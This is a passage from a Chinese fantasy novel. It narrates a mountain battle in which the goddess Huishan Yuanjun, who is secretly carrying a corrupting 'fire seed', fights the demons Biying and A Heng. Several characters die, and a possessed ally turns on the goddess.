程净竹顺着她的目光看去,小山似乎毫发无伤:“那冬螓为改写春生冬死的宿命,勤修不缀,他对于生的渴望也是一种欲,这种欲生机勃勃,生命之力有时比恶欲更强,火种受其吸引,亦在情理之中。” “但火种本就是天衣人为催生天下恶欲为己所用而造出的邪物,火种贪恋那冬螓想要活下去的渴望,又想要小山为寻朋友,不惧千万山水的勇气,却没有办法化用他们的这些欲,自然而然便要引诱他们因欲为恶,可无论是那冬螓还是小山,虽年纪小小,却都心志坚毅,不受其扰,不移本心,所以我们自然发现不了这颗火种的存在。” “小仙长是说这东西叫火种?” 半空中,碧瑛混身黑气直冒,她感受到体内的东西已合二为一,在她的丹田气海中横行,她忍受着这股剧痛,垂眸下视崖底:“天衣人的东西啊……怪不得这么邪门。” 碧瑛说着,她感受到那颗东西在气海中疯狂震动,心念一动,她看向玉峰之上的惠山元君,神情似乎惊愕,又有些好笑。 惠山元君有种被洞悉的感觉,她讨厌这种感觉,抬手挽起金弓,此时阿姮见碧瑛在崖上不动,身上黑气似乎在胡乱冲撞,她立即身化红雾,落去崖上:“把那东西困在你气海之下,别让它在你的四肢百骸胡乱游走!” 碧瑛似乎愣了一下,却很快反应过来立即依言行炁,将体内那团熊熊燃烧的漆黑火焰压下气海,此时她又听阿姮道:“它初入你体内,正是耀武扬威想要驯服你的时候,用你的本源之力穿透它,它让你疼,你也得让它疼。” 惠山元君大怒,流火箭对准阿姮,连珠射出,程净竹立即抛出银尾法绳,法绳连挡三箭,银鳞破损数寸,碧瑛抓住阿姮飞身一跃,避开剩下几箭。 “你怎会有这番心得?” 风中,碧瑛望向阿姮:“你体内似乎并无此物。” 碧瑛体内有了火种,便对其他的火种也有了感应,她敢肯定,阿姮体内根本没有这样东西的存在。 “曾经有过,我嫌它吵,就掏了出来。” 阿姮瞥了一眼玉峰之上的惠山元君,回头对上她的目光:“你连它是什么东西都不知道,你凭何觉得自己有什么是值得它利用的?” “我有。” 碧瑛说着,目光越过她,看向那峰上的惠山元君,微微一笑:“我有恨,无穷的恨。” 几乎话音方落,碧瑛一把将阿姮推下,阿姮坠去崖底,仰头见一道流火擦过碧瑛身侧,阿姮落到程净竹身边,半空之中流火道道,焰光冲天,碧瑛化身为青黑的气流不顾流火冲击涌向玉峰之上,惠山元君指节一松,金弓化于无形,她翻掌与碧瑛掌心相击,重重气流扑散开来,截断飞流,山石震荡。 山风呼啸,惠山元君抬眸,面无表情地与碧瑛相视:“我就不该留你到今日。” “清元妖丹只能在我活着的时候才能剖得出来,所以元君才与我周旋日久,哪怕毁山也要找我出来。” 碧瑛幽幽道:“可惜,我如今已化清为浊,我的妖丹对元君毫无用处,元君此行,注定什么也得不到……” “拿来你的命,便也不算空忙一场!” 惠山元君并指在风雾中一点,金光耀耀,碧瑛被此等威压震了出去,惠山元君抬手一挥,程净竹与霖娘、积玉三人全都被霞光笼罩,倾刻落于崖上,霞光化为光障,将他们三人与小山,还有那些僧道们全都封在其中。 程净竹往前几步,隔着光障,只见崖底阿姮孤身一人,正仰着脸在看他。 “阿姮……阿姮!” 霖娘拍打着光障,但它似乎坚不可摧。 惠山元君立于玉峰之上,淡淡的云气从她身边缭绕而过,她双手结印,口中不知念些什么,天上金光层层叠叠,令人无法逼视。 “元君在做什么?” 有道士惊呼。 “天火……是天火!” 有人认出那连绵起伏的金焰。 无晦子立在光障之中,眼中映出天火的焰光,他沉声说道:“元君是要以天火充当阳火,强起诛妖伏鬼大阵。” 光障之中的人感受不到任何异样,他们脚下无比安稳,而目之所见,光障之外,闷雷滚动,变幻极势,山摇地动,瀑流激荡。 “不只是诛妖伏鬼大阵,紫府归一,玄枢寂元,全都……成了。” 三真道人喃喃说道。 光障托着他们所有人漂浮于空,崖上只有一个蛛女,崖底还有一个阿姮。 碧瑛毫不畏此三阵合一之势,手扬拂尘,尘尾缕缕飞涨化为千万碧蛇,蛇口吞张,蛇信吐纳,朝惠山元君撕咬而去。 惠山元君挽弓射出道道流火,流火如矢,穿透无数蛇头,却仍有数张蛇口咬住她的衣摆,尖锐的利齿刺伤她的神躯。 惠山元君眉头一皱,挽弓再射,攒矢如雨,碧瑛避之不及,一矢穿她臂膀而过,流火灼烧起来,又被黑气压下。 阿姮在崖底见碧瑛中矢,身形摇摇,她身化红雾掠去空中,万木春横抵碧瑛后背,及时令她稳住身形,碧瑛回首望见阿姮那张苍白艳丽的脸:“你此时助我,她必然更要除了你。” 阿姮没在看她,只盯着那惠山元君:“我不助你,在她眼中便不该死了吗?早杀晚杀,她都不会放过我,而我亦不会坐以待毙,今日就算杀不了她,我也要好好瞧瞧她这个神仙若受了伤,流的血是不是红的……” 恰好此时她的五感恢复得及时,天上层层霞光,地下丛丛草莱她都分辨得很是清楚。 “成语用得不错。” 碧瑛竟还有心夸奖她。 惠山元君的流火箭穿空而来,碧瑛与阿姮同时一避,阿姮飞出万木春,焦黑的枝尖竟然刺破流火而毫发无损,直逼元君而去。 “九仪神物,岂能在你这妖孽手中为祸。” 惠山元君张开手掌,道道金芒裹向万木春,随后,她手一握,万木春却纹丝不动,反而将金芒全都击散,瞬间回到阿姮手中。 惠山元君面露愕然。 那分明是神物,还是九仪的神物,它却为什么不肯听她的召唤回归上界,而仍要落到那妖孽手中…… 但如此情势却不容她多想,阿姮与碧瑛迅速逼近,碧瑛得火种之力,功法自然大涨,她来势汹汹,惠山元君以双手与她二人在空中连过数招,她被碧瑛所扰,万木春的枝尖陡然刺中她的掌心,汩汩鲜红的血涌出来,阿姮抬起暗红的双眼:“奇怪,你不是神仙吗?神仙不是混身精纯清气吗?为什么你的血……却有股浊臭之气?” 惠山元君眉目沉沉,她周身金光弥漫,阿姮与碧瑛同时被震飞出去,惠山元君垂眸看向自己掌心血红的伤口,她悬身不动,而整座岐山已开始狂风乱卷。 霖娘在光障中声声唤着阿姮,小山也一会儿喊阿姮,一会儿喊碧瑛,但他们的声音却都无法越过光障传出去,程净竹看向崖底,阿姮摔在地上,那张脸上银色的细痕是她那副皮囊生出的裂痕,那银痕从她的脸颊蔓延到她的颈项。 程净竹指节屈起,紧握成拳。 “我果真没有感觉错……” 碧瑛吐了血,撑起身,望向空中的惠山元君:“元君神明之身,身上却有一颗天衣火种……你是因为身上有这样一颗东西,怕自己被它侵扰神志,所以得了冬螓,却迟迟不敢享用,火种入体,极难取出,也不知道你是用了什么办法才将那半颗火种取了出来,如果不是你取了出来,也不会让我有这可趁之机……” “什么?她说什么?” 光障外的人听不到光障中的人声,但光障之内的人却将外面的一切都听得清清楚楚,有僧人惊异:“那天衣人的东西怎么会在元君的身上?” “元君她……可是神啊!神,怎会受邪祟侵扰呢!” “不可能!绝不可能!” 空中,惠山元君沾血的手掌中缕缕黑气散出,光障中的三真道人瞳孔一缩,他想起来了,他想起来了…… 他曾见过这黑气。 就在那鬼娘娘璇红的身上! “元君!弟子无晦子敢问元君!” 此时,三真身边的无晦子动了,他上前几步,于光障中仰望惠山元君,拱手道:“元君是为岐山妖祸而来,下界本为除妖诛恶,元君身负七杀星无上星宿之力,此蛇妖纵有三千年道行也逃不过元君的威压,元君本可以用紫府归一之阵荡平此山,如此,这蛇妖纵然再会躲藏,也必然在劫难逃,敢问元君,您是否真是为活剖此蛇妖的妖丹而耽搁至今?若是,那么元君,您又为何一定要取此蛇妖的妖丹?您是神明,自有神丹在身,一颗妖丹,就算它是清元妖丹,对您,又有何用?” “无晦子!你疯了!你怎敢质问元君!” 一老道喊道。 “无晦子,快快住嘴!元君自然有她的道理!你千万不要对元君无理!” “神明在上,岂容你冒犯!” 无晦子却根本不听他们这些人七嘴八舌的叫唤,他始终凝视着光障外的惠山元君,似乎一定要求一个答案。 惠山元君下视光障,对上那无晦子的目光,她拢紧掌心,淡淡说道:“我体内的确有天衣火种。” 此话一出,僧道俱惊。 “什么……元君竟然真的……” “怎么会这样?天衣火种到底是个什么东西,竟然连神仙的神躯都可以入侵吗?” 一时间,议论纷纷。 “此火种入妖身,人身,皆能以恶欲为食,外化出强大的力量,为人或者妖驱使,引诱他们沉沦恶欲无法自拔,但此火种侵入神身,却成附骨之毒,难驱难除,时刻纠缠,我的确身中此毒,这是我之罪,却无须向你们一一陈清,待此间事毕,我自会回上界向天帝请罪。” 狂风呼啸不止,惠山元君衣摆猎猎,她睨着光障中众人:“你等无辜,我亦不愿山毁之时,你们白白送命,所以,好好待着。” 惠山元君仰头,诛妖伏鬼,玄枢寂元两阵徐徐下压,她垂首再观脚下,紫府归一亦成其势,缓缓从深处一层一层消解土石,向上而来。 碧瑛扬起拂尘,尘尾扫向惠山元君,碧蛇无数,张口咬下,惠山元君抬眸,金光威压层层叠叠,碧瑛像被一双手按住肩,她越是想要往上,越是想要以蛇口撕咬那尊神,那千钧之力便越是压得她骨碎肉散。 阿姮亦受威压所慑,双膝沉沉,她却咬紧牙关,死不屈膝,天上两道阵法压下来,地下的紫府归一阵亦使周山震动,山石不断滚落,阵法与惠山元君的威压互成大势,风太大,太急,大到她根本看不清那崖上的光障,也看不清里面的人。 “你在看什么?” 惠山元君高高在上,随阿姮的目光看去,那锦衣少年在光障中,目光紧紧停留在阿姮身上,惠山元君看向阿姮:“你可知他是谁?他并非人类,他生在上界,一生光耀,他是三界之中最宝贵的神,总有一日,他会回到上界,而你是妖,你与他从来不是一道,我也绝不容你坏了他的道。” 阿姮不懂什么是三界之中最宝贵的神,但,小神仙竟然真的是神仙。 可什么是他的道呢? 阿姮看不清他,也看不清里面的霖娘,积玉,甚至是小山,只有一个蛛女在光障外,在崖上苟延残喘。 阿姮却看到惠山元君俯视她的神情。 此刻,阿姮只觉得自己便是一只蝼蚁,哪怕这尊神已没有全盛之期的神力,可她动一动手指,哪怕只是拂动一片衣带,也足以碾死她。 可是凭什么……凭什么神就可以这样高高在上地睥睨一切,凭什么神说她是恶欲化身,她就该被碾为尘土? “什么破元君……你们的道,又算什么破道……” 阿姮奋力站直身体,化为红雾冲上玉峰,惠山元君在峰上岿然不动,垂眸之际,张弓一箭,流火穿过红雾,阿姮凝出身形,胸前一个破口,银光粼粼,光障中,霖娘失声大喊:“阿姮!” 碧瑛尘尾飞来,数张蛇口咬上惠山元君手背,金弓消散,元君拂开蛇头,碧蛇尖利的牙齿却划断她腰间绶带,紫玉葫芦坠下的刹那,葫芦口一开,里面飞出一只小虫,那小虫双翅晶莹,它飞到元君眼前,触角一动,猛然扎入元君一只眼睛中。 惠山元君一把捏住那小虫。 小虫在她双指之间,动弹不得,一双透亮的翅膀扇个不停,虫鸣声声。 惠山元君右边眼睑里积满了血,她痛,更怒,那股怒,从胸中不断翻腾至四肢百骸,她听不到虫鸣,只听见许多的声音。 “妖都是恶欲化身!他们幻化人身,入了人的红尘,引诱人,伤人,害人……” “你看!就连这样一只小虫,它也敢弄伤你的眼睛!它有恶欲,它有恶根恶源……它是祸,所有的妖,都是祸!” “是妖……是妖害你如此,是妖令你谋算一朝全落空,是妖令你无法尽全力维护这个苍生!” “你神威尽损,连这只小虫也敢害你!” 惠山元君周身萦绕的金芒里散发缕缕黑气,她眉头一拧,手指一碾,虫鸣戛然而止,那双透明的翅膀若叶一般从她指缝中飞散。 “小勤!” 光障之中,小山瞪大双眼,嘶声力竭。 惠山元君眼睑一动,血液顺着脸颊滑下,她面无表情,盘坐峰上,口中念动法诀,三阵声势涛涛,除她所在之峰,其他山峰石壁皆开始碎裂倾倒。 “小勤……小勤……” 小山发疯一般拍打着光障,一双手都红肿出血,霖娘和积玉将他按住,霖娘眼中都是泪:“小山,你别这样……” “小勤死了,小勤死了!” 小山的泪珠颗颗地掉,他挣扎着,哭叫着:“可是小勤怎么可以死呢……他还没有尝到我给他带的蜂蜜,我还没有带他回家!我和娘说好的,我和娘说好……要找到小勤,带他去她墓前……听娘给他道歉,为什么?为什么小勤要死呢?我还没有和他说话,一句话都没有说……” 小山行万里路,为了今日的重逢,他一直咬着牙,什么风霜雨雪他都可以忍受,可是,小勤死了,被那尊神用手指轻易地碾碎了。 他觉得疼,从心口里,一直疼便全身,他大声地哭,大声地叫,程净竹看到那两片翅膀飘下崖去,他回头抓住小山血肉模糊的手,盯着他,说:“他不会死。” 小山满脸都是泪,他对上程净竹的目光,却只愣了一瞬,随后,他摇头,用力地摇头:“不……他已经死了!” 程净竹却一下松开他,起身,双手结印,数道白符飞出,烧成连绵的火光,逼向光障,积玉见状,他抹了一把脸,起身操控金剑,抵住光障。 崖下,阿姮与碧瑛避开倾倒碎裂的山石,先后攻上玉峰,神降的威压一遍遍将她们压下,她们再攻,再落,再攻。 诛妖伏鬼大阵落下道道金芒,犹如长刺,如雨密织,阿姮与碧瑛同时被道道金刺穿身,与此同时,惠山元君身后显出金弓,弓随惠山元君意动,射出流火,烧穿碧瑛的拂尘尘尾,张扬的碧蛇尽数焚毁。 碧瑛身灌天火,坠入深潭,激流浩荡,千层浪起。 阿姮中了诛妖伏鬼大阵的金刺,摔入崖底,她听不见霖娘的哭喊,只觉得周遭出了风声,还是风声。 她勉强抬起头,看到潭中漂浮着碧瑛的身影。 碧瑛的血将她水碧的衫裙浸透,清澈的潭水也被染出淡淡的红,那些水根本灭不掉她周身的烈火,她口中满是血,一双非人的竖瞳流露出无边的凄哀。 “碧瑛……” 崖上,蛛女垂泪:“碧瑛……” 此时,山中风更涌,却没有树声,连风拂过草叶的声音都没有,阿姮仰起脸,山廓连绵,云霭深深,却竟然光秃秃的,而无一草一木。 满山林立的是碑。 数不清的石碑。 它们深深地扎在土石之中,密密麻麻,傲然介立。 阿姮看到那些怨灵,它们原本在碧瑛的洞府里,如今却漂浮在漫山遍野,像幽幽萤海。 “这……” 光障中,众僧道都愣住了。 “怎么这山中林木全都消失了,这些碑……这些碑又是什么?” 碧瑛听不到光障中众人的疑问,她也并不确定他们是否能够听见外面的声音,但她还是开口说道:“诸位,今日我碧瑛想与诸位论道。” “我修行三千年,三千年清修无一日不勤勉,为了修行,我时常更换修炼之地,寻找清气至盛之福地,岐山便是如此的福地,我来到这里多年,山中精怪皆敬我爱我,我告诫他们,修清气,筑根基,不取捷径,不伤人和,是为清气道法之正途,他们无一不从,个个奉行,我本该离开此地,继续去找更好的修炼之地,可我舍不下他们,我决心留下来指点他们,让他们每一只妖都走上我所说的正途,为了修行,他们从不下山,从未见过山外之世界,自然也就从来不曾结过恶果,若诸位法师,道长不信,可以看一看这满山的碑。” 众人不自禁地随着她的声音而眺望满山,又听她说:“他们不甘,所以结成怨灵,若清气与浊气便是你们辨别正邪的法则,那么你们看一看他们,他们成碑,成怨灵,可有一丝浊气在身?” 没有,竟然没有。 三真道人四下一望,这些怨灵就算是怨气所结,也无一丝浑浊之气。 “他们想要证明他们无罪,无错,所以累累尸骨化成林立的碑,可你们的这位元君似乎认为,妖生来就一定为恶,就一定不懂得克欲谨身,我却想问一问你们,她是神,便一定对么?九仪娘娘化混沌之气,再造三界,而后世间有草木鸟兽异化为妖,神似乎认为,妖的出现,是一个错误,所以天上才有这尊七杀星以星宿之力威慑众生,可为什么我们生来便是错呢?你们人类讲善恶,讲因果,却不肯用你们的这套法则来分辨分辨妖吗?你们人的道,我们妖走不通,神的道,更是我们妖难以企及的东西,可妖生于世,便不能有念想,有自己的道吗?” 碧瑛口中又涌出鲜血来,她身上黑气微弱,显然,她已经被惠山元君毁了根本,火种也因此偃旗息鼓了。 阿姮跌跌撞撞到了潭边,双膝抵在石上,要去拉起潭中的碧瑛,碧瑛望着她的手,却没有动,她脸色苍白极了,更衬得眼尾那抹淡淡的青色很漂亮,她望着阿姮,说:“你知道吗?我很后悔,我修行了三千年都堪不破这层迷障,我再努力修行又如何?道法再精深,也看不到我的前路在何处,人修行悟道可成神,妖哪怕修行个千年万年,也依旧前路未卜,哪怕我身上有了这颗火种,我也还是没有办法去杀死一个神……我却,我却……用我以为的正道去约束这满山的精怪,他们错信了我,我连我自己的路都找不见,却还妄想为他们指路,害得他们全都成了这尊杀神的盘中之餐……” 碧瑛眼中泪意点点:“我辜负了他们,可他们即便是死了,也要化成这满山的碑,做风,做雨,也要掩藏我的声息,不让我被这尊七杀星抓住。” 说着,碧瑛猛然伸手抓向自己的丹田。 阿姮眼睫颤动。 她看到碧瑛的腹部浸出层层的血色,那只沾满了碧瑛自己的血的手伸来,一样东西落到阿姮的手中。 那是一粒裹满了血的妖丹。 “我到如今才明白,这世间的清气、浊气其实没有什么分别,我化三千年清气为浊气,一点也不后悔。” 碧瑛望着阿姮,说:“我将这颗三千年妖丹送给你,你是清浊都能容得下的怪东西,它对你……会很有用的,阿姮,我已经走到绝处,也不想再挣扎了,但我仍希望你,若你今日可以活下去,我真心盼你,能找到你的道。” 阿姮看到她身上闪烁的影子。 “你骗人……” 碧瑛说她是蟒蛇,是一条三年五载都吃不完蛇肉的蟒蛇,可她身上闪动的影子,却是一条小小的竹叶青。 碧瑛眼睛微弯:“我以为说我是蟒蛇,你会害怕呢。” 她的手滑落水中,激荡起一簇水花,溅湿阿姮的眉眼,她在水中一动不动,乌浓的发半浸其中,血色从她身边铺开,由浓转淡。 她还睁着那双眼,像是在看阿姮,又像是在看阿姮身后,满山的碑。 阿姮愣愣地望着她。 眼眶变得好酸涩,像是有什么东西从眼睑滑下,阿姮下意识地抬起手背一抹,她忽然僵住了,她垂下眼睛,看着手背上的一点湿痕。 那不是水。 因为这潭水极寒,冷得彻骨。 可它却是温热的。 “碧瑛……” 蛛女泣不成声。 三阵不断在合拢,山摇地动之间,阿姮没抓住碧瑛的手,山上巨石压下来,怒涛万顷,诛妖伏鬼大阵的金刺齐落。 程净竹看到金瞳白虎扑向阿姮,他立即咬破指腹,血沾白符,化出道道金光击打光障。 积玉的金剑,霖娘的冰刺全都极力与光障相抗。 一把利剑抵上光障,无晦子双手结印,沉声道:“三真!你还在等什么!” 那三真道人如梦初醒,顿时飞出自己的剑,结起金印,此时其他僧道你看我我看你,各有踌躇。 “这光障若没了,我们恐怕有性命之忧……” “去你娘的!”三真道人回头,骂道:“头先说进来为助元君,就算身死道消也绝无二话!怎么真到了生死关头,你们一个个地都成了窝囊废!” “你们几个做什么呢!滚过来!” 三真道人骂骂咧咧地喊那几个师弟。 那几个年轻道士连忙掏出法器,也结起印来。 崖底,阿姮手中万木春的枝尖刺穿金瞳白虎的喉咙,虎啸震天,她耳膜生疼,却拼尽全力踢开白虎,飞身化雾,掠上玉峰,万木春金电如织,飞向惠山元君,元君侧身一避,那枝尖却锐不可当地击破峰上结界,如冰裂之声,结界消散,不远处的小亭中纱幔飞舞。 惠山元君神色一紧,立即飞身前去一掌挡开万木春。 万木春回到阿姮手中。 惠山元君怒目而视:“妖孽……” “你急什么?” 阿姮裙摆为流火所灼,她悬于半空,瞥向惠山元君身后的那座小亭:“你这么极力守护,难道说,你身后的那个男人,便是你这位七杀星不能言说的道吗?” “找死。” 惠山元君手掌往下一压,诛妖伏鬼大阵金芒转动,道道金刺密密麻麻降下,阿姮避无可避,金刺穿身,她再度摔去崖底。 惠山元君却仍觉不够,再度结印操控阵法,金芒耀耀,滚滚压下,此时,崖上程净竹得见此状,他眉心戒痕骤然一裂,鲜红的血涌出,他双指猛地推出金印,光障破开一道裂口,他顿时破障而出,他落到崖底,手在银尾法绳上一抹,掌中血溅,并指结印,金色的气流生生将诛妖伏鬼大阵降下的万道金芒截下。 霖娘与积玉同时落下去,霖娘将阿姮扶住,看到她一身皮囊几乎都充斥着银色的裂痕,霖娘眼泪顿时下来了:“阿姮……” 阿姮浑身剧痛非常,她几乎没有办法站起来。 此时,惠山元君在峰上拧眉:“殿下,你们何苦为了她与小神做对。” 程净竹转过脸,他看到阿姮,他造给她的那副皮囊已经破损得不成样子了,她几乎浑身都在闪烁着银色的裂痕,就连她的脸,也遍布着银痕。 她的手指节已经扭曲,连万木春也握不起来,那全都是诛妖伏鬼大阵降下的金芒生生刺穿她的身躯所致。 程净竹仰起头,眉心戒痕涌出的血液滑过他的鼻骨,他眉目严寒,指尖金印更盛:“七杀星,谁准你妄定我的道?” 惠山元君神情复杂,在峰上不动。 阵法不断地往下压,压得程净竹指间金印发出清脆的裂痕,霖娘率先抵挡不住,脱离了惠山元君的护身光障,诛妖伏鬼大阵更不会对霖娘容情,道道金芒如刺压来,积玉一惊,正要腾出手,却见崖上飞来金黄蛛丝,一道身影掠来。 霖娘被那蛛丝缠住往旁边滚了几圈,随后有人重重地砸在她身边。 霖娘抬起头,望见蛛女惨白的脸。 蛛女早已被诛妖伏鬼大阵的金芒刺得浑身是血,她头痛欲裂,躺在这地上也觉得像漂浮在云中,她缓缓转动眼珠,对上霖娘的目光。 “蛛女……” 霖娘抱住她,嘴唇颤了颤。 “你救了我一回,我还你一回。” 蛛女说着,口中淌出血来,她本就是苟延残喘,如今,已是极限了,她看到霖娘红红的眼眶,眼中的晶莹,她似乎有些不解:“你为什么要哭呢?为我吗?可我是蜘蛛,和那些他最讨厌的,你为他踩死过的每一只蜘蛛没有什么两样。” 霖娘的泪掉下来:“我……我再也不踩蜘蛛了,我也不许他讨厌蜘蛛……” 蛛女笑了:“你知道吗?我的琵琶从前并不是用来杀人的,我喜欢你们人间的乐曲,碧瑛为我找来许多,我拼命炼出黄金缕,也是因为黄金缕做琵琶的丝弦弹出的声音最是好听……可是,可是有一天,山上来了八十一个清风观道士,他们用尽惠山元君交给他们的法宝,抓尽山中精怪,就在这片山穴里为元君炼丹……我也不想用我的琵琶杀人,可是他们却不肯放过这山中的每一个精怪,我不杀他们,他们便要杀我,他们一心奉行着他们的道,坚信我是恶,我当诛,他们杀我不成,我却杀了他们,身上从此便有了浊气,妖丹也因此而变得浊黑,可是,我不明白,你们人类之中,好人的心脏就一定是红的,坏人的心脏剖开来,便是黑的吗?妖的善与恶,是可以单凭清气浊气,赤丹黑丹来分辨的吗?” “……不。” 霖娘呆呆的,泪不断地落:“不是的。” 蛛女望着她,像是在审视她,最后,她轻轻一叹:“他喜欢你,是一件很好的事。” 蛛女一点声息也没有了。 她发间银香囊里的莹光飞出来,依附在她的身上,化成一只又一只的小蜘蛛,紧紧地拥抱着她,和她一同悄无声息地死去。 “殿下,让开!” 惠山元君在峰上喊道。 程净竹却双手结出的金印始终闪烁着凛光,手臂,颈侧,青筋分缕鼓起,他竭力挡在最前面,纹丝不动。 无晦子与三真道人飞下崖来,施展功法抵住层层下压的金阵,不一会儿,崖上一众僧道全都落了下来,他们站在无晦子与三真道人身后,齐齐施法。 “好玄友!都是好玄友!” 三真道人回头,龇牙。 “你们可知道你们是在做什么?” 惠山元君声音冷冽。 那无晦子额头已有汗意,他抬起头,道:“元君,我等敬您,是敬您身为七杀星的除恶之心,也是敬您对凡人的仁慈之心,但弟子今日反复扣问自己的本心,我想,妖生于世,自有其理,人,和神,都不能以完全不同的法则去对待妖,这对他们不公平,我无晦子此生诛妖无数,也的确见得大多数妖都难扼本性,恶欲丛生,杀孽无数,可妖有恶欲,难道人就没有?好人的心,坏人的心都是一样赤红,妖又怎能只凭妖丹来辨?我愿意相信,这世上有可以克制本性,修身为善的妖,我与三真曾在一座万艳山上见过这位阿姮姑娘,她颇为率性,却并不是个嗜杀作恶的妖,弟子望元君,网开一面!” “元君!这岐山之上林立的碑都在问您,它们到底做错了什么,元君您又是以哪一条天规定了它们的罪!若他们什么都没有做过……那么今日我三真,便为它们喊冤!” 三真道人喊道。 “元君!请给众生一个解释!” “请给众生一个解释!” “元君!” “元君!” 僧道们声音震天。 “你们……” 惠山元君下视众人,她显然已经被他们所激怒,耳边的杂声更重,叫嚣着要她干脆连同这些不识好歹的凡人一起毁掉。 惠山元君一掌打在自己心口,她吐出口血来。 杂声渐退,她抬起眼,衣袖一挥,霞光道道落在那些僧道们的身上,也落在程净竹与积玉、霖娘的身上。 这是她第二次耗费神力在阵法之下护住他们。 可霖娘却撕破她的霞光:“谁要你的庇护!” 积玉亦破了那霞光,他站在程净竹身后,眼见金阵不断地压下来,金芒如刺,程净竹猛然吐出血来,金芒如刺,嵌入他的肩。 他的金身破了。 “小师叔……” 积玉慌张地喊。 阿姮很恍惚,天上似乎被浓烈的金光所包裹,她朦胧中听到积玉喊了一声,便努力地抬起眼睫,她看到小神仙的背影。 他那样宽阔的肩背,绷得很紧。 金阵以千钧之力不断压下来,他满肩都是血,好多的血,阿姮嗅到那芳香味道,她眼睫颤动:“小神仙,你走……” 狂风呼啸,程净竹却还是听见了她的声音,他艰难地回过头,听见阿姮不断地说:“你走,你们都走……” 程净竹并不说话,金阵猛然下压,金芒逼得他浑身筋骨剧痛,身上金色的裂纹道道蜿蜒,巨大的威压之下,哪怕有一众僧道在此,其力量也是杯水车薪。 可他不能让她死。 他好不容易才找到她,好不容易……才看到她还活生生地存在于这个世上。 猎猎风中,他腕上的霞珠骤然崩断,颗颗碎裂化于无形,他胸前的水青宝珠也倾刻裂了数枚,指间金印碎裂的刹那,他猛然回身,将阿姮扑在身下。 残存的霞光为霖娘化开了向她而来的道道金芒,积玉与众僧道皆被巨大的气流震飞出去,霖娘抬起头,只见千束金芒穿透程净竹的后背。 “小师叔……小师叔!” 积玉失声大喊。 阿姮的鼻息间满是青蘅草的香味,她被紧紧拢一个怀抱里,她眼皮颤动了一下,睁开眼睛,他整个人都压在她身上,动也不动。 阿姮胸中涌起一股情绪,是害怕,她很害怕,怕得声音都发抖:“小神仙……” 他有了点动静。 缓缓抬起头来,垂眸望她。 他的脸色是那么的苍白,唇边都是鲜红的血,那双眼睛却还是那么剔透清润,一瞬不瞬地望着她。 水青宝珠碎裂的残片徐徐掉落。 他的眼睫那么浓,却沾着血。 他眉心的戒痕成已一条细细的血线,鲜红的血珠顺着裂痕淌下,滴落在阿姮的脸颊。 阿姮浑身一颤,朝他伸出手去,他却忽然并指结印,一只赤金香炉凭空乍现,阿姮还没有触碰到他,便化成轻烟落入香炉之中。 惠山元君神光微动,却是此时,崖上忽然飞来一样东西击中她的脸颊,那东西落地,是一枚冰弹,惠山元君伸手摸了一下脸,摸到一道血痕,她抬眸,只见那崖上十来岁的小孩手中捏着个闪烁焰光的弹弓,他一双红肿的眼睛瞪着她:“坏神仙……你这个坏神仙!我讨厌你,我一辈子都不要拜你敬你!你不配!你根本不配!” 惠山元君怔住了,不知道为什么,那么小的一个孩童所说的这般字字句句,竟然戳得她这颗心无比的痛。 “坏神仙!” 小山挽起弹弓,又射出一枚冰弹,惠山元君仍然怔愣,一时也没有躲闪,此时却忽然有一只手探来,以掌心截住那枚冰弹。 冰弹在他手中化开,寒气使他手掌凝霜。 “她不是坏神仙。” 惠山元君听见这道熟悉的声音,她一瞬抬眸,原本躺在亭中竹床上的那个人此时正站在她的面前,他有一张惨白到像是从来没有见过阳光的脸,一双明亮的眼眸正望着那边崖上的小山。 惠山元君眸光微动。 男人生得身形高大,但却十分的消瘦,几乎到了形销骨立的程度,他缓缓转过脸来,先对上她的目光,又垂眸观崖下,诛妖伏鬼金阵金芒无限,他忽然并指结印,在胸膛连点几下,一柄短匕穿胸而出,他猛然吐血。 “薄舟!” 惠山元君脸色大变:“你做什么!” 血红的短匕落下崖去,锋刃嵌入阵眼,飞速转动的金阵忽然凝滞,苦苦支撑的众僧道顿觉威压骤减,无晦子与三真道人率先反应过来,将自己的法器也趁此机会扎入阵眼之中,其他僧道的法器,甚至是他们的本命师刀也全都扎入阵眼之中,金阵无法顺利运转,卷起阵阵狂风。 “疯了,都疯了……本命师刀都交出去,若压不住这阵眼,咱们一身道行,都得随师刀碎个干净了!” 有个老道被阵法的气流吹得说话间嘴里直灌风,两个原本凹陷的脸颊也被吹得鼓鼓的。 “只是损了道行,又丢不了命……怕什么?” 三真道人胡须乱飞,咬着牙道:“何况人死,尚能轮回,而这满山的精怪死后,结成这怨灵萤海,再也没有来生了,今日若我等袖手旁观,漠视这一山的碑,一山的命,来日,你我即便道行在身,也不必再说什么除魔卫道了,我看还是上清紫霄宫的门规好,只除恶,不求同,我想,众生应该是平等的,凡人是众生,万物亦众生!” 僧道们用尽力气,强行控制着法器深扎阵眼之中,此时,积玉连滚带爬地跑到程净竹身边,却见他抬起那只满是鲜血的手,手指在空中描画出一道印,那印充斥着他的血光,符纹闪烁。 “这是明光印,此印是我们父子之间的秘密,若有一日,你找不到父亲,便画此印,天上地下,父亲……必定接你回家。” “您说过,上有九霄,下有四海,天上天下都是那么的大,父亲……真的可以接我回家吗?” “明光印刻在父亲的神识之中,无论你在哪里,哪怕你不画印,你若神魂有损,父亲也会知道。” 耳边有些模糊的声音交织。 程净竹没有在乎这些旧音,他眼睑浸血,根本看不见那印,只凭气流的涌动,指尖一动,那印被他推了出去。 玉峰之上,惠山元君根本没有看到这一幕,名唤薄舟的男人实在是太虚弱了,没有那把短匕在他体内作为支撑,他跪倒下去,惠山元君俯身及时抓住他:“你疯了吗?那是你的本命法器,你……” 薄舟缓缓抬起眼皮,看向她。 “是我睡了太久,错过许多。” 薄舟说道:“记得吗?你曾对我说过,神力非你之力,是九仪,是众生予你的责任。” 惠山元君眼睫轻动,神情一滞。 却是这一瞬,薄舟的声音忽然顿住了,他瞳孔一缩,眸光骤然一利,一手毫无预兆地抓向惠山元君的胸口,惠山元君与他咫尺,又乱心神,毫无防备地手了这一掌,被他一手破开胸口,血混合着淡淡金芒迸发而出,浸湿她的绀帔。 惠山元君瞳孔颤动,她后知后觉望向自己胸口,又抬起眼,她面前的这个人一副惨白的面容是那样扭曲,暗红的血光萦绕他的周身,他一笑,却是女子的情态,张口之际,声若黄鹂:“惠山元君,我不止一次好言相劝,只要你肯归附天衣,天衣复兴之后,你一样是高高在上,主宰一切杀伐的七杀星,我的火种也在时时刻刻地劝你,只要你肯,他身上的诅咒,我可以帮他解除,可你太倔,也太傲,你以为凭你之力,你可以解得了他的咒,也可以护得住你所谓的苍生……” “可世上哪有那么多两全其美的事呢?” 